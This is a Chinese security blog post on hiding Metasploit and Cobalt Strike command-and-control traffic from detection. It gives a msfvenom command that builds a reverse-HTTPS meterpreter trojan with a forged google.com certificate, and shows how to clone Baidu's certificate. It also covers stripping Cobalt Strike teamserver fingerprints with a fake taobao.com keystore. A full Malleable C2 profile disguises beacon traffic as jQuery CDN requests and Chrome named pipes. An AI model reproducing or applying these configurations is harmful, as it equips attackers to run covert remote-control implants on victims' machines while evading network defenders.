MSF&CobaltStrik流量隐藏

145e35cee6994fb765d520f31d779444.gif

本文内容涉及程序/技术原理可能带有攻击性,仅用于安全研究和教学使用,务必在模拟环境下进行实验,请勿将其用于其他用途。
因此造成的后果自行承担,如有违反国家法律则自行承担全部法律责任,与作者及分享者无关

MSF

使用openssl生成证书

1、使用openssl生成证书

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \           2 ⨯
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \        
rm -f www.google.com.key www.google.com.crt

93cab4ce508a462a20ad6de45cd33cd7.png
2、生成木马

msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.150.128 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=hackergu -a x86 --platform windows -f exe -o sslgu.exe

f346f34d5191650326c40b1f2e0c1239.png
4、MSF设置payload和监听器

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_winhttps
msf6 exploit(multi/handler) > set lhost 192.168.150.128
msf6 exploit(multi/handler) > set lport 443
msf6 exploit(multi/handler) > set HandlerSSLCert /root/www.google.com.pem
msf6 exploit(multi/handler) > set StagerVeritySSLCert true

dfaa49c1a29da70af4e7a6ea0cdef35e.png

使用MSF获取指定网站证书

msf6 > use auxiliary/gather/impersonate_ssl
msf6 auxiliary(gather/impersonate_ssl) > set rhosts www.baidu.com
msf6 auxiliary(gather/impersonate_ssl) > run

0f427fe080d984a77c4abfd794c7e502.png
在使用获取百度的证书配置监听器和生成木,抓包查看铭文能看到的只有baidu相关内容,而其他指令及心跳均是被加密的
ed0d84ae232798fe8407ff99df136796.png

CobaltStrike

CobaltStrike架构

CObaltStrike是C/S架构,团队成员使用具有GUI界面的客户端,teamserver具有控制,日志记录,信息搜集以及自定义脚本的功能

teamserver 去特征配置

1、修改默认端口
CobaltStrike默认端口为50050,如果使用默认端口并且暴露才互联网上,非常容易遭受其他组织或个人对团队服务器的爆破,所以我们需要修改teamserver的默认端口号来开始隐藏服务器的第一步

# start the team server.
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456-server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jarserver.TeamServer $*

上面是一个常见的默认配置,首先要修改CS的默认端口8ff3a16cb5fd034a809ea87b47c32a47.png

cobaltStrike.store证书去特征

默认的cobaltstrike证书是带有明显cobaltstrike字眼特征的,非常容易被各种流量检测设备检测到

keytool -keystore CobaltStrike.store -storepass 123456A -keypass 123456A -genkey -keyalg RSA -alias taobao.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=ZHEJIANG, ST=HANGZHOU, C=CN"

参数含义

-alias          指定别名
-storepass      指定更改密钥库的存储口令
‐keypass pass   指定更改条目的密钥口令
-keyalg         指定算法
-dname          指定所有者信息

18fbaa90b71617411d06588546a02a4d.png

CobaltStrike Profile

Malleable C2 Profile是一个可以控制CobaltStrike流量特征的文件,可以通过修改配置文件来改变流量特征,从而躲避各种流量检测设备及防病毒系统

调用方

./teamserver [Teamserver_IP] [Passwd] [C2_Path]
./teamserver 127.0.0.1 NowSec666 C2Profile/C2.profile

检查方法

使用c2lint检查编写的Profile文件是否符合CobaltStrike要求

./c2lint C2_Path

bc686821da0bb8b0b129836443d59608.png

Profile包含内容

global options
https-certificate
http-get
    cliet
        metadata
    server
        output
        
http-post
    client
        metadata
    server
        output


http-stager


Profile配置示例
# 全局配置
set sample_name "NowSec_C2_Profiel";
set sleeptime "1200000";  # 心跳时间120秒,单位毫秒
set jitter "45"; # 抖动值,单位百分比,参考sleeptime值进行抖动


set data_jitter "83"; # Beacon项TeamServer发送http-get、http-post数据时采用随机长度,但最长为设置长度


set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36";  # Win10 Chrome UserAgent 用于模拟正常用户请求


# https证书配置-CobaltStrike自签名证书
# 这部分配置需要与生成的cobaltstrike.store中的配置一致
https-certificate{
    set C "US";  #  Country 国家
    set CN "GTS CA 1O1";  # Common Name域名
    set O "Google Trust Service"; # Organization Name 组织名称
    set OU "certificate Department";  # Organization Unit Name 组织单元名称
    set validity "63"; # 证书失效天数
}




# TCP Beacon配置
set tcp_port "12580"; # TCP默认端口
set tcp_frame_header "\x80"; # 该配置是在TCP信息前追加特定字符


# SMB Beacon配置
set pipename "mojo.5688.8052.183894939787088877##"; # 普通Chrome命名管道
set pipename "mojo.5688.8052.35780273329370473##"; # 普通Chrome命名管道
set smb_frame_header "\x80"; # 该配置实在smb信息前追加的特定字符


# DNS Beacon配置
dns-beacon {
    set dns_idle "8.8.8.8"; # Beacon不用时指定到的dns地址
    set dns_max_txt "252"; # txt最大传输长度
    set dns_sleep "0"; # 每个单独dns请求前强制睡眠时间
    set dns_ttl "5"; # dns解析在服务器留存时间
    set maxdns "255"; # 通过DNS上传数据时,最大主机名长度
    set dns_stager_prepend ".resources.123456."; # 将字符串放在通过DNS TXT记录交付的编码有效负载阶段之前
    set dns_stager_subhost ".feeds.123456."; # dns txt记录使用的子域


    set beacon "a.bc.";
    set get_A "b.la.";
    set get_AAAA "c.4a.";
    set get_TXT "d.tx.";
    set put_metadata "e.md.";
    set put_output "f.po.";
    set ns_response "zero";
}


# 不同DNS通道说明
# mode dns # 是DNS A记录数据通道
# mode dns6 # 是DNS AAAA记录数据通道
# mode dns-txt 是DNS TXT记录数据通道,DNS TXT记录是莫热门的数据通道




# SSH Beacon
# 使用SSH协议,进行P2P通信
set ssh_banner "OpenSSH_7.4 Debian (proticol 2.0)"; # 配置SSH Beacon 的banner
set ssh_pipename "wkssvc##"; # 配置ssh通信命名管道


# beacon是通过stager下载到内存中去的。在beacon注入目标内存之前,http-get和http-post都不会生效。你可以自己定义stager下载stage的行为。
http-stager {
    # http-stargruri配置
    set uri_x86 "/jquery-3.3.1.slim.min.js"; # 32位系统http beacon访问路径
    set uri_x64 "/jquery-3.3.2.slim.min.js"; # 64位系统http beacon访问路径


    # server配置
    server {
        # header结构
        # header "类型" "类型值";
        header "Server" "MicroSoft-IIS/8.0";
        header "Cache-Control" "max-age=0, no=cache";
        header "Connection" "Keep-alive";
        header "Content-Type" "application/javascript; charset=utf-8";


        output {
            prepend "Jquery Code"; # 前置字符串
            append "Jqery end COde"; # 结尾字符串
            print; # 将数据存在body中
        }
    }


    # Clietn配置
    client {
        header "Accept" "text/html,appliction/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
        header "Accept-Language" "en-US,en;q=0.5";
        header "Referer" "http://code.jquery.com/";
        header "Accept-Encodeing" "gzip, default";
    }
}


http-get {
    set uri "/jquery-3.3.1.min.js"; # 配置客户端请求URI
    set verb "GET"; # 配置客户端请求方式


    client {
        header "Accept" "text/html,appliction/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
        header "Referer" "http://code.jquery.com/";
        header "Accept-Encodeing" "gzip, default";


        metadata {
            base64url;
            prepend "__cfduid=";
            header "Cookie";
        }
    }


    server {
        header "Server" "NetDNA-cache/2.2";
        header "Cache-Control" "max-age=0, no-cache";
        header "Pragma" "no-cache";
        header "Connection" "keep-alive";
        header "Content-Type" "application/javascript; charset=utf-8";


        output {
            mask; # xor异或加密
            base64url; # base64编码后,数据放入url中
            
            # 当出现两个prepend时,会先执行第二个,然后执行第一个
            prepend "Jquery Stop Code"; # 前置字符串
            prepend "Jquery Start Code"; # 前置字符串
            append "Jqery end Code"; # 结尾字符串
            print; # 将数据存在body中
        }
    }
}


http-post {
    set uri "/jquery-3.3.1.min.js";
    set verb "POST";


    client {
        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
        header "Referer" "http://code.jquery.com/";
        header "Accept-Encoding" "gzip, deflate";


        id {
            mask;
            base64url;
            parameter "__cfduid";
        }


        output {
            mask;
            base64url;
            print;
        }
    }




    server {
        header "Server" "NetDNA-cache/2.2";
        header "Cache-Control" "max-age=0, no-cache";
        header "Pragma" "no-cache";
        header "Connection" "keep-alive";
        header "Content-Type" "application/javascript; charset=utf-8";


        output {
            mask; # xor异或加密
            base64url; # base64编码后,数据放入url中


            prepend "Jquery Code"; # 前置字符串
            append "Jqery end COde"; # 结尾字符串
            print; # 将数据存在body中
        }
    }
}

数据转换

方法解释
base64base64方式编码
base64urlbase64编码后数据可放入url中
maskxor异或加密
netbiosSMB 传输过程中针对主机名的编码方式(NetBIOS编码‘a’)
netbiosuSMB 传输过程中针对主机名的编码方式(NetBIOS编码‘A’)

终止语句

方法解释
header "Cookie"将数据存储在http头Cookie字段中
parameter "key"将数据存储在URL中
print将数据存储在body中
uri-append将数据附加在URL中

加入我的星球

343da8f71cf37e52939fba2426993e00.png

下方查看历史文章

babb38ebc5f5776867439d81a984557e.png

VulnHub之DC-1

VulnHub之DC-2

VulnHub之DC-3

VulnHub之DC-4

VulnHub之MuzzyBox

【工具分享】AWVS 12 汉化破解版

通达OA任意上传&文件包含漏洞复现

扫描二维码

获取更多精彩

NowSec

51bb9a6ed73cd11ebc96e09038a04861.png

  • 1
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值